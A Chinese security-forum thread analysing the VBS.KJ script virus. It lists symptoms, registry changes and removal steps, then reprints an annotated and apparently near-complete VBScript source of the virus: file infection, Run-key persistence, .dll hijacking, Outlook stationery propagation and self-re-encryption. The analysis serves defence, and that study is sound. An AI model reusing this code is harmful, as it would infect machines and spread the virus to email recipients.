论坛: 病毒专区 标题: 关于VBS.KJ病毒分析报告 复制本贴地址    
作者: qd_xway [qd_xway]    论坛用户   登录

����VBS.KJ 是一个感染 html/htm、jsp、vbs、php、asp 的脚本类病毒。和欢乐时光“VBS.HappyTime”一样,该病毒采用 VBScript 语言编写,在互联网上通过电子邮件进行传播,也可以通过文件感染;感染后的机器系统资源被大量消耗,速度变慢;利用 Windows 系统的“资源管理器”进行寄生与感染。
����
����然而,与欢乐时光相比,VBS.KJ 病毒显然经过改进。首先,每次感染都会进行一次变形,可以逃过普通的特征码匹配查找方法;其次,该病毒不会主动发送电子邮件!而是修改系统中 Microsoft Outlook Express、Microsoft Outlook 2000/XP 的设置,采用 html 格式的信纸来撰写邮件,病毒感染全部信纸!当发送邮件时病毒会附在邮件中,隐蔽性更强!第三,会感染 html/htm、jsp、vbs、php、asp 等格式的文件,不会删除系统文件。
����
����病毒生成和修改的文件
����
����1、在每个检查到的文件夹下生成 desktop.ini 和 folder.htt 文件(这两个文件控制了文件夹在资源管理器中的显示视力)。
����
����2、在 %Windows%\web 和 %Windows%System32 中生成 kjwall.gif。
����
����3、在 Windows 9X 系统中,生成 %Windows%\System\Kernel.dll 文件;在 Windows 2000/XP 中生成 %Windows%\System\Kernel32.dll 文件。
����
����4、感染 htt 文件,将病毒附加在其中;感染 html/htm、jsp、vbs、php、asp,用病毒替换其内容。
����
����注册表的修改
����
����1、在 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 下增加 Kernel32 键值,使病毒随系统启动;
����
����2、修改 HKEY_CLASSES_ROOT\dllFile\,改变 dll 文件的打开方式;
����
����3、修改 HKEY_CURRENT_USER\Identities\" & UserID & "\Software\Microsoft\Outlook Express\" & OEVersion��& "\Mail\Compose Use Stationery" 为 1,即采用信纸; 修改 HKEY_CURRENT_USER\Identities\" & UserId & "\Software\Microsoft\Outlook Express\" &��OEVersion & "\Mail\Stationery Name" 指向信纸文件;
����
����4、修改 HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail 相关内容,使 Outlook 2000 采用信纸来撰写邮件;
����
����5、修改 HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail 相关内容,使 Outlook XP 采用信纸撰写邮件;
����
����病毒感染的标志
����
����1、在注册表 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ 下存在 Kernel32 键值,并指向 Kernel.dll 或者 Kernel32.dll 文件;
����
����2、系统中大量存在 desktop.ini 和 folder.htt;
����
����3、在 system 目录下存在 kjwall.gif 文件;
����
����手工清除(难度较大,建议采用杀毒软件杀毒)
����
����1、打开注册表,删除 HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32 键值;
����参照其他机器,恢复 HKEY_CLASSES_ROOT\dllFile\ 下键值;
����参照其他机器,恢复 HKEY_CURRENT_USER\Identities\" & UserID & "\Software\Microsoft\Outlook Express\" & OEVersion��& "\Mail\ 下相关键值;
����参照其他机器,恢复 HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\ 下相关键值;
����参照其他机器,恢复 HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\ 下相关键值;
����
����2、删除文件(建议在 DOS 状态下或者使用第三方文件管理系统,如 Win Commander 等)
����参照其他机器,恢复 %Windows%\web 目录下 folder.htt 文件;
����删除 Kernel32.dll 或者 Kernel.dll 文件;删除 kjwall.gif;
����查找所有存在 KJ_start 字符串的文件,删除文件尾部的病毒代码;

专杀工具下载! http://www.iduba.net/download/other/ScanVBSKJ.htm

也可以在本站下载此杀毒工具!
����



  新欢乐时光病毒(VBS.KJ)的分析和解决方案

此病毒盛为流行,很多电脑都感染了该病毒,感染该病毒的具体标志是在每个文件夹下都产生有destop.ini和folder.htt两个文件,病毒由VBS编写而成,会感染下列后缀的文件:.html,.htm,.vbs,.asp,.htt,.jsp,.php等。感染该病毒后,打开文件夹速度明显减慢,而且一些机器在打开文件夹时会提示有不安全脚本运行,还有
一些机器开机时桌面呈白色,这均为染毒特征。染毒后用记事本打开folder.htt里看到的特征代码有<onload="vbscript:KJ_start()">和后面的大量加密代码。
很多朋友用杀毒软件查杀后,再次查杀时又发现该病毒,这主要是因为病毒并未完全清除。

使用杀毒软件清除该病毒的方法:
由于该病毒具有很强传播能力,因此建议查杀前先检查有无软盘或其他可移动介质在电脑上,若有一起查杀。
对于单机:
使用杀毒软件(对于ME,XP,还要先禁止系统还原后再查杀,这一点要注意)如果在WIN下查杀,比如瑞星,方法如下:升级瑞星到高版本,打开文件监控,取消按WEB查看,关掉所有窗口,一定要先查杀内存,后全盘杀毒,如果在msconfig里发现还有folder.htt和destop.ini等可疑项目,把这些项的钩去掉,立即重新启动计算机。可再次查杀一次以确保病毒完全清除。建议在安全模式或纯DOS下查杀。
若使用其他新欢乐时光专杀工具在安全模式下杀为好。
对于局域网:
由于病毒可以通过共享文件夹传播,因此务必要取消共享,断网后把每台染毒机器逐一查杀。
若杀毒软件仍然报告某些folder.htt仍为病毒,可以用记事本打开folder.htt
把<onload="vbscript:KJ_start()">这段代码删掉。[其实病毒运行主体已经清除]
杀完毒后把机器到微软网站里打补丁。
对于感染病毒杀毒后若文件夹无法再按WEB查看,可能在杀毒过程中正常的destop.ini和folder.htt被误删或正常代码被损害,解决方法是到其他机器上COPY这两个文件过来即可。
还有一部分用户查杀病毒后一些文件夹下仍残余有destop.ini和folder.htt,可手动删除。(注意系统本身有些文件夹是有这两个文件的,比如Program Files和My Documents里本身就含有)



  VBS.KJ[新欢乐时光病毒]源代码分析
'  Virus:  VBS.KJ 
'  Analyze by DanceFire (DanceFire@263.net) 
'  2002/7/10 


Dim InWhere,HtmlText,VbsText,DegreeSign,AppleObject,FSO,WsShell,WinPath,SubE,FinalyDisk 
Sub KJ_start() 
  '  初始化变量 
  KJSetDim() 
  '  初始化环境 
  KJCreateMilieu() 
  '  感染本地或者共享上与html所在目录 
  KJLikeIt() 
  '  通过vbs感染Outlook邮件模板 
  KJCreateMail() 
  '  进行病毒传播 
  KJPropagate() 
End Sub 

'  函数:KJAppendTo(FilePath,TypeStr) 
'  功能:向指定类型的指定文件追加病毒 
'  参数: 
'      FilePath    指定文件路径 
'      TypeStr    指定类型 
Function KJAppendTo(FilePath,TypeStr) 
  On Error Resume Next 
  '  以只读方式打开指定文件 
  Set ReadTemp = FSO.OpenTextFile(FilePath,1) 
  '  将文件内容读入到TmpStr变量中 
  TmpStr = ReadTemp.ReadAll 
  '  判断文件中是否存在"KJ_start()"字符串,若存在说明已经感染,退出函数; 
  '  若文件长度小于1,也退出函数。 
  If Instr(TmpStr,"KJ_start()") <> 0 Or Len(TmpStr) < 1 Then 
      ReadTemp.Close 
      Exit Function 
  End If 
  '  如果传过来的类型是"htt" 
  '      在文件头加上调用页面的时候加载KJ_start()函数; 
  '      在文件尾追加html版本的加密病毒体。 
  '  如果是"html" 
  '      在文件尾追加调用页面的时候加载KJ_start()函数和html版本的病毒体; 
  '  如果是"vbs" 
  '      在文件尾追加vbs版本的病毒体 
  If TypeStr = "htt" Then 
      ReadTemp.Close 
      Set FileTemp = FSO.OpenTextFile(FilePath,2) 
      FileTemp.Write "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & TmpStr & vbCrLf & HtmlText 
      FileTemp.Close 
      Set FAttrib = FSO.GetFile(FilePath) 
      FAttrib.attributes = 34 
  Else 
      ReadTemp.Close 
      Set FileTemp = FSO.OpenTextFile(FilePath,8) 
      If TypeStr = "html" Then 
          FileTemp.Write vbCrLf & "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
      ElseIf TypeStr = "vbs" Then 
          FileTemp.Write vbCrLf & VbsText 
      End If 
      FileTemp.Close 
  End If 
End Function 

'  函数:KJChangeSub(CurrentString,LastIndexChar) 
'  功能:改变子目录以及盘符 
'  参数: 
'      CurrentString  当前目录 
'      LastIndexChar  上一级目录在当前路径中的位置 
Function KJChangeSub(CurrentString,LastIndexChar) 
  '  判断是否是根目录 
  If LastIndexChar = 0 Then 
      '  如果是根目录 
      '      如果是C:\,返回FinalyDisk盘,并将SubE置为0, 
      '      如果不是C:\,返回将当前盘符递减1,并将SubE置为0 
      If Left(LCase(CurrentString),1) =< LCase("c") Then 
          KJChangeSub = FinalyDisk & ":\" 
          SubE = 0 
      Else 
          KJChangeSub = Chr(Asc(Left(LCase(CurrentString),1)) - 1) & ":\" 
          SubE = 0 
      End If 
  Else 
      '  如果不是根目录,则返回上一级目录名称 
      KJChangeSub = Mid(CurrentString,1,LastIndexChar) 
  End If 
End Function 

'  函数:KJCreateMail() 
'  功能:感染邮件部分 
Function KJCreateMail() 
  On Error Resume Next 
  '  如果当前执行文件是"html"的,就退出函数 
  If InWhere = "html" Then 
      Exit Function 
  End If 
  '  取系统盘的空白页的路径 
  ShareFile = Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery\blank.htm" 
  '  如果存在这个文件,就向其追加html的病毒体 
  '  否则生成含有病毒体的这个文件 
  If (FSO.FileExists(ShareFile)) Then 
      Call KJAppendTo(ShareFile,"html") 
  Else 
      Set FileTemp = FSO.OpenTextFile(ShareFile,2,true) 
      FileTemp.Write "<" & "HTML>" & vbCrLf & "<" & "BODY onload=""" & "vbscript:" & "KJ_start()""" & ">" & vbCrLf & HtmlText 
      FileTemp.Close 
  End If 
  '  取得当前用户的ID和OutLook的版本 
  DefaultId = WsShell.RegRead("HKEY_CURRENT_USER\Identities\Default User ID") 
  OutLookVersion = WsShell.RegRead("HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\MediaVer") 
  '  激活信纸功能,并感染所有信纸 
  WsShell.RegWrite "HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Compose Use Stationery",1,"REG_DWORD" 
  Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Stationery Name",ShareFile) 
  Call KJMailReg("HKEY_CURRENT_USER\Identities\"&DefaultId&"\Software\Microsoft\Outlook Express\"& Left(OutLookVersion,1) &".0\Mail\Wide Stationery Name",ShareFile) 
  WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\9.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
  Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
  Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Microsoft Outlook Internet Settings\0a0d020000000000c000000000000046\001e0360","blank") 
  WsShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Outlook\Options\Mail\EditorPreference",131072,"REG_DWORD" 
  Call KJMailReg("HKEY_CURRENT_USER\Software\Microsoft\Office\10.0\Common\MailSettings\NewStationery","blank") 
  KJummageFolder(Left(WinPath,3) & "Program Files\Common Files\Microsoft Shared\Stationery") 
End Function 


'    函数:KJCreateMilieu() 
'    功能:创建系统环境 
Function KJCreateMilieu() 
  On Error Resume Next 
  TempPath = "" 
  '    判断操作系统是NT/2000还是9X 
  If Not(FSO.FileExists(WinPath & "WScript.exe")) Then 
      TempPath = "system32\" 
  End If 
  '    为了文件名起到迷惑性,并且不会与系统文件冲突。 
  '    如果是NT/2000则启动文件为system\Kernel32.dll 
  '    如果是9x启动文件则为system\Kernel.dll 
  If TempPath = "system32\" Then 
      StartUpFile = WinPath & "SYSTEM\Kernel32.dll" 
  Else 
      StartUpFile = WinPath & "SYSTEM\Kernel.dll" 
  End If 
  '    添加Run值,添加刚才生成的启动文件路径 
  WsShell.RegWrite "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\Kernel32",StartUpFile 
  '  拷贝前期备份的文件到原来的目录 
  FSO.CopyFile WinPath & "web\kjwall.gif",WinPath & "web\Folder.htt" 
  FSO.CopyFile WinPath & "system32\kjwall.gif",WinPath & "system32\desktop.ini" 
  '  向%windir%\web\Folder.htt追加病毒体 
  Call KJAppendTo(WinPath & "web\Folder.htt","htt") 
  '  改变dll的MIME头 
  '  改变dll的默认图标 
  '  改变dll的打开方式 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\","dllfile" 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\.dll\Content Type","application/x-msdownload" 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\DefaultIcon\",WsShell.RegRead("HKEY_CLASSES_ROOT\vxdfile\DefaultIcon\") 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllfile\ScriptEngine\","VBScript" 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\Shell\Open\Command\",WinPath & TempPath & "WScript.exe ""%1"" %*" 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ShellEx\PropertySheetHandlers\WSHProps\","{60254CA5-953B-11CF-8C96-00AA00B8708C}" 
  WsShell.RegWrite "HKEY_CLASSES_ROOT\dllFile\ScriptHostEncode\","{85131631-480C-11D2-B1F9-00C04F86C324}" 
  '  启动时加载的病毒文件中写入病毒体 
  Set FileTemp = FSO.OpenTextFile(StartUpFile,2,true) 
  FileTemp.Write VbsText 
  FileTemp.Close 
End Function 

'  函数:KJLikeIt() 
'  功能:针对html文件进行处理,如果访问的是本地的或者共享上的文件,将感染这个目录 
Function KJLikeIt() 
  '  如果当前执行文件不是"html"的就退出程序 
  If InWhere <> "html" Then 
      Exit Function 
  End If 
  '  取得文档当前路径 
  ThisLocation = document.location 
  '  如果是本地或网上共享文件 
  If Left(ThisLocation, 4) = "file" Then 
      ThisLocation = Mid(ThisLocation,9) 
      '  如果这个文件扩展名不为空,在ThisLocation中保存它的路径 
      If FSO.GetExtensionName(ThisLocation) <> "" then 
          ThisLocation = Left(ThisLocation,Len(ThisLocation) - Len(FSO.GetFileName(ThisLocation))) 
      End If 
      '  如果ThisLocation的长度大于3就尾追一个"\" 
      If Len(ThisLocation) > 3 Then 
          ThisLocation = ThisLocation & "\" 
      End If 
      '  感染这个目录 
      KJummageFolder(ThisLocation) 
  End If 
End Function 

'  函数:KJMailReg(RegStr,FileName) 
'  功能:如果注册表指定键值不存在,则向指定位置写入指定文件名 
'  参数: 
'      RegStr      注册表指定键值 
'      FileName    指定文件名 
Function KJMailReg(RegStr,FileName) 
  On Error Resume Next 
  '  如果注册表指定键值不存在,则向指定位置写入指定文件名 
  RegTempStr = WsShell.RegRead(RegStr) 
  If RegTempStr = "" Then 
      WsShell.RegWrite RegStr,FileName 
  End If 
End Function 

'  函数:KJOboSub(CurrentString) 
'  功能:遍历并返回目录路径 
'  参数: 
'      CurrentString  当前目录 
Function KJOboSub(CurrentString) 
  SubE = 0 
  TestOut = 0 
  Do While True 
      TestOut = TestOut + 1 
      If TestOut > 28 Then 
          CurrentString = FinalyDisk & ":\" 
          Exit Do 
      End If 
      On Error Resume Next 
      '  取得当前目录的所有子目录,并且放到字典中 
      Set ThisFolder = FSO.GetFolder(CurrentString) 
      Set DicSub = CreateObject("Scripting.Dictionary") 
      Set Folders = ThisFolder.SubFolders 
      FolderCount = 0 
      For Each TempFolder in Folders 
          FolderCount = FolderCount + 1 
          DicSub.add FolderCount, TempFolder.Name 
      Next 
      '  如果没有子目录了,就调用KJChangeSub返回上一级目录或者更换盘符,并将SubE置1 
      If DicSub.Count = 0 Then 
          LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
          SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
          CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
          SubE = 1 
      Else 
      '  如果存在子目录 
      '      如果SubE为0,则将CurrentString变为它的第1个子目录 
          If SubE = 0 Then 
              CurrentString = CurrentString & DicSub.Item(1) & "\" 
              Exit Do 
          Else 
      '      如果SubE为1,继续遍历子目录,并将下一个子目录返回 
              j = 0 
              For j = 1 To FolderCount 
                  If LCase(SubString) = LCase(DicSub.Item(j)) Then 
                      If j < FolderCount Then 
                          CurrentString = CurrentString & DicSub.Item(j+1) & "\" 
                          Exit Do 
                      End If 
                  End If 
              Next 
              LastIndexChar = InstrRev(CurrentString,"\",Len(CurrentString)-1) 
              SubString = Mid(CurrentString,LastIndexChar+1,Len(CurrentString)-LastIndexChar-1) 
              CurrentString = KJChangeSub(CurrentString,LastIndexChar) 
          End If 
      End If 
  Loop 
  KJOboSub = CurrentString 
End Function 

'  函数:KJPropagate() 
'  功能:病毒传播 
Function KJPropagate() 
  On Error Resume Next 
  RegPathvalue = "HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree" 
  DiskDegree = WsShell.RegRead(RegPathvalue) 
  '  如果不存在Degree这个键值,DiskDegree则为FinalyDisk盘 
  If DiskDegree = "" Then 
      DiskDegree = FinalyDisk & ":\" 
  End If 
  '  继DiskDegree置后感染5个目录 
  For i=1 to 5 
      DiskDegree = KJOboSub(DiskDegree) 
      KJummageFolder(DiskDegree) 
  Next 
  '  将感染记录保存在"HKEY_LOCAL_MACHINE\Software\Microsoft\Outlook Express\Degree"键值中 
  WsShell.RegWrite RegPathvalue,DiskDegree 
End Function 

'  函数:KJummageFolder(PathName) 
'  功能:感染指定目录 
'  参数: 
'      PathName    指定目录 
Function KJummageFolder(PathName) 
  On Error Resume Next 
  '  取得目录中的所有文件集 
  Set FolderName = FSO.GetFolder(PathName) 
  Set ThisFiles = FolderName.Files 
  HttExists = 0 
  For Each ThisFile In ThisFiles 
      FileExt = UCase(FSO.GetExtensionName(ThisFile.Path)) 
      '  判断扩展名 
      '      若是HTM,HTML,ASP,PHP,JSP则向文件中追加HTML版的病毒体 
      '      若是VBS则向文件中追加VBS版的病毒体 
      '      若是HTT,则标志为已经存在HTT了 
      If FileExt = "HTM" Or FileExt = "HTML" Or FileExt = "ASP" Or FileExt = "PHP" Or FileExt = "JSP" Then 
          Call KJAppendTo(ThisFile.Path,"html") 
      ElseIf FileExt = "VBS" Then 
          Call KJAppendTo(ThisFile.Path,"vbs") 
      ElseIf FileExt = "HTT" Then 
          HttExists = 1 
      End If 
  Next 
  '  如果所给的路径是桌面,则标志为已经存在HTT了 
  If (UCase(PathName) = UCase(WinPath & "Desktop\")) Or (UCase(PathName) = UCase(WinPath & "Desktop"))Then 
      HttExists = 1 
  End If 
  '  如果不存在HTT 
  '      向目录中追加病毒体 
  If HttExists = 0 Then 
      FSO.CopyFile WinPath & "system32\desktop.ini",PathName 
      FSO.CopyFile WinPath & "web\Folder.htt",PathName 
  End If 
End Function 

'    函数KJSetDim() 
'        定义FSO,WsShell对象 
'        取得最后一个可用磁盘卷标 
'        生成传染用的加密字串 
'        备份系统中的web\folder.htt和system32\desktop.ini 
Function KJSetDim() 
  On Error Resume Next 
  Err.Clear 

  '    测试当前执行文件是html还是vbs 
  TestIt = WScript.ScriptFullname 
  If Err Then 
      InWhere = "html" 
  Else 
      InWhere = "vbs" 
  End If 
   
  '    创建文件访问对象和Shell对象 
  If InWhere = "vbs" Then 
      Set FSO = CreateObject("Scripting.FileSystemObject") 
      Set WsShell = CreateObject("WScript.Shell") 
  Else 
      Set AppleObject = document.applets("KJ_guest") 
      AppleObject.setCLSID("{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}") 
      AppleObject.createInstance() 
      Set WsShell = AppleObject.GetObject() 
      AppleObject.setCLSID("{0D43FE01-F093-11CF-8940-00A0C9054228}") 
      AppleObject.createInstance() 
      Set FSO = AppleObject.GetObject() 
  End If 
  Set DiskObject = FSO.Drives 
  '    判断磁盘类型 
  ' 
  '    0: Unknown 
  '    1: Removable 
  '    2: Fixed 
  '    3: Network 
  '    4: CD-ROM 
  '    5: RAM Disk 
  '    如果不是可移动磁盘或者固定磁盘就跳出循环。可能作者考虑的是网络磁盘、CD-ROM、RAM Disk都是在比较靠后的位置。呵呵,如果C:是RAMDISK会怎么样? 
  For Each DiskTemp In DiskObject 
      If DiskTemp.DriveType <> 2 And DiskTemp.DriveType <> 1 Then 
          Exit For 
      End If 
      FinalyDisk = DiskTemp.DriveLetter 
  Next 
   
  '    此前的这段病毒体已经解密,并且存放在ThisText中,现在为了传播,需要对它进行再加密。 
  '    加密算法 
  Dim OtherArr(3) 
  Randomize 
  '    随机生成4个算子 
  For i=0 To 3 
      OtherArr(i) = Int((9 * Rnd)) 
  Next 
  TempString = "" 
  For i=1 To Len(ThisText) 
      TempNum = Asc(Mid(ThisText,i,1)) 
      '对回车、换行(0x0D,0x0A)做特别的处理 
      If TempNum = 13 Then 
          TempNum = 28 
      ElseIf TempNum = 10 Then 
          TempNum = 29 
      End If 
      '很简单的加密处理,每个字符减去相应的算子,那么在解密的时候只要按照这个顺序每个字符加上相应的算子就可以了。 
      TempChar = Chr(TempNum - OtherArr(i Mod 4)) 
      If TempChar = Chr(34) Then 
          TempChar = Chr(18) 
      End If 
      TempString = TempString & TempChar 
  Next 
  '    含有解密算法的字串 
  UnLockStr = "Execute(""Dim KeyArr(3),ThisText""&vbCrLf&""KeyArr(0) = " & OtherArr(0) & """&vbCrLf&""KeyArr(1) = " & OtherArr(1) & """&vbCrLf&""KeyArr(2) = " & OtherArr(2) & """&vbCrLf&""KeyArr(3) = " & OtherArr(3) & """&vbCrLf&""For i=1 To Len(ExeString)""&vbCrLf&""TempNum = Asc(Mid(ExeString,i,1))""&vbCrLf&""If TempNum = 18 Then""&vbCrLf&""TempNum = 34""&vbCrLf&""End If""&vbCrLf&""TempChar = Chr(TempNum + KeyArr(i Mod 4))""&vbCrLf&""If TempChar = Chr(28) Then""&vbCrLf&""TempChar = vbCr""&vbCrLf&""ElseIf TempChar = Chr(29) Then""&vbCrLf&""TempChar = vbLf""&vbCrLf&""End If""&vbCrLf&""ThisText = ThisText & TempChar""&vbCrLf&""Next"")" & vbCrLf & "Execute(ThisText)" 
  '    将加密好的病毒体复制给变量 ThisText 
  ThisText = "ExeString = """ & TempString & """" 
  '    生成html感染用的脚本 
  HtmlText ="<" & "script language=vbscript>" & vbCrLf & "document.write " & """" & "<" & "div style='position:absolute; left:0px; top:0px; width:0px; height:0px; z-index:28; visibility: hidden'>" & "<""&""" & "APPLET NAME=KJ""&""_guest HEIGHT=0 WIDTH=0 code=com.ms.""&""activeX.Active""&""XComponent>" & "<" & "/APPLET>" & "<" & "/div>""" & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "script language=vbscript>" & vbCrLf & ThisText & vbCrLf & UnLockStr & vbCrLf & "<" & "/script>" & vbCrLf & "<" & "/BODY>" & vbCrLf & "<" & "/HTML>" 
  '    生成vbs感染用的脚本 
  VbsText = ThisText & vbCrLf & UnLockStr & vbCrLf & "KJ_start()" 
  '    取得Windows目录 
  '    GetSpecialFolder(n) 
  '        0:    WindowsFolder 
  '        1:    SystemFolder 
  '        2:    TemporaryFolder 
  '    如果系统目录存在web\Folder.htt和system32\desktop.ini,则用kjwall.gif文件名备份它们。 
  WinPath = FSO.GetSpecialFolder(0) & "\" 
  If (FSO.FileExists(WinPath & "web\Folder.htt")) Then 
      FSO.CopyFile WinPath & "web\Folder.htt",WinPath & "web\kjwall.gif" 
  End If 
  If (FSO.FileExists(WinPath & "system32\desktop.ini")) Then 
      FSO.CopyFile WinPath & "system32\desktop.ini",WinPath & "system32\kjwall.gif" 
  End If 
End Function 




地主 发表时间: 11/07 15:41

回复: tour [tour]   论坛用户   登录
我用专杀工具杀的怎么不管用啊????

B1层 发表时间: 11/07 22:33

回复: coki [coki]   论坛用户   登录
谢谢了我的机子中了这种毒呀

B2层 发表时间: 11/10 10:37

回复: abctm [abctm]   版主   登录
good

B3层 发表时间: 11/14 12:08

论坛: 病毒专区

20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon

粤ICP备05087286号